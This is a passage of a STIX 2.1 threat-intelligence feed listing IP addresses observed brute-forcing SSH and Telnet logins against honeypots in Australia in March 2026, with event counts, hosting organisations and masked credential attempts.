      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 410. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): a***n, p******d, !*******, 0****0, 1****1.",
      "id": "indicator--86e5a223-5acd-4cb9-aecb-19a354916b7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.165.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 286. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1****1, 1**4.",
      "id": "indicator--568c3f98-beec-4fa5-b99e-1ff05075ce02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.247.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 304. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--22068f99-842d-442a-a2d4-3a9a1a61302b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.29.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--80820bc4-d391-4ebe-8e9a-cfd16e89dfdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.141.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 3***********4, 3**********4, 1*******D, A*******1.",
      "id": "indicator--b77245de-a12c-4055-aca0-14681e8adb97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.174.5.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 51234. Organisation(s): Telecompany Fialka Ltd..",
      "id": "indicator--6f86e734-a60a-40c5-aee5-566478153d08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.117.0.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): Z*******3.",
      "id": "indicator--3a71e7c8-c759-4bd7-9ac1-8d5b0845cd76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.76.202.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 199912. Organisation(s): Layer7 Networks GmbH.",
      "id": "indicator--b0efaae3-de8a-4427-ac24-07517bf9df9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.55.240.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 28548. Organisation(s): Cablevision, S.A. de C.V.. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 3***********4, 3**********4, 1****5, 2********M.",
      "id": "indicator--37c13370-a4f9-4cc1-bf50-f3019412a143",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.217.130.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--293ee4ed-a872-4377-8eaf-3d88b6151eab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.21.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--2463ca5d-3aab-4b9c-b393-f89499b1a968",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.107.125.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 325. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--ce25733e-8b54-4ccf-af17-7f66dc55e942",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.250.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc.. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 1*******D, 3***********4, 3**********4, A*******1.",
      "id": "indicator--68b6147b-caa6-4afe-9f43-88d1b9638a36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.206.67.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 19970. Organisation(s): R&R Managed Telecom Services. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 3***********4, 3**********4, 1****5, 2********M.",
      "id": "indicator--126aa494-f946-4629-b016-217f9cc11b44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.245.11.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 3***********4, 3**********4, !****3, 1*********y.",
      "id": "indicator--28483f0e-a696-499c-8a92-4deedb84663a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.187.21.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 3***********4, 3**********4, 1********n, 1******r.",
      "id": "indicator--307146b5-62c5-4090-b6af-180d408a8431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.69.240.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Passwords observed (masked): 1****6.",
      "id": "indicator--76f3b795-e9e0-4b09-9859-243ba02c55c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 141140. Organisation(s): PT Jinde Grup Indonesia.",
      "id": "indicator--d89a5671-1187-417e-9205-cc2d79edcc30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.93.93.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1**4, 1***5.",
      "id": "indicator--b50bba23-beeb-4906-8fd2-e54e6a1a99af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.42.141.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 3***********4, 3**********4, 1*****., C********4.",
      "id": "indicator--0c0fc6c6-451c-40b4-bce9-a48685f239c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.221.28.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1********3, 3***********4, C********4.",
      "id": "indicator--a4cce6ff-c4d5-4a92-87d1-feb3ef093754",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.180.72.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t, r*****3, r*****1.",
      "id": "indicator--cdf94d97-883d-4102-a3d9-687aec51df59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.200.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 212600. Organisation(s): LLC New Network.",
      "id": "indicator--9df851a5-f310-4839-888e-942431c1e03d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.153.95.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--fe7a0377-8bae-41bc-9f04-d5ba57543787",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.178.110.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--407a13c2-37d3-4f4b-9a6a-738d71c439ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): 1*******!, q**********#.",
      "id": "indicator--78096347-cb4d-4dfc-99ff-3371ade64490",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.104.145.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1**4, 1***5.",
      "id": "indicator--c0a63ab5-8e17-4155-8db8-99f426ce8eef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.55.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:15:13.000Z",
      "valid_until": "2026-04-03T22:15:11.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********c, 3**********4, q******2.",
      "id": "indicator--05d49398-52d5-400d-9e2e-defe9b34c6c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.140.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 147124. Organisation(s): PT Hostingan Awan Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): S********4.",
      "id": "indicator--4541356a-d4ad-4237-8845-ad384a52dd48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.175.206.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, i*******r, r**t, s***d, u**t. Passwords observed (masked): a***n, i*******r, s***d, u**t, u**r.",
      "id": "indicator--d22c20a1-de9f-42ed-aa35-3322edf395fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.216.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--61d1d7ff-1900-42fc-9af2-0351122b1d32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.233.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****3, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--b5b4dfe2-cd34-4c51-9ab5-d3b1611b719f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.35.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t, a****1, 3**********4. Passwords observed (masked): 1********3, 1**********e, 3***********4, 3**********4, a******5.",
      "id": "indicator--ea04e52d-ac1b-4d6f-b500-0855f226d49e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 49. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d, r**t.",
      "id": "indicator--54277280-cfc8-4c04-8ee0-998eb8722c32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.62.87.152']",
      "pattern_type": "stix",
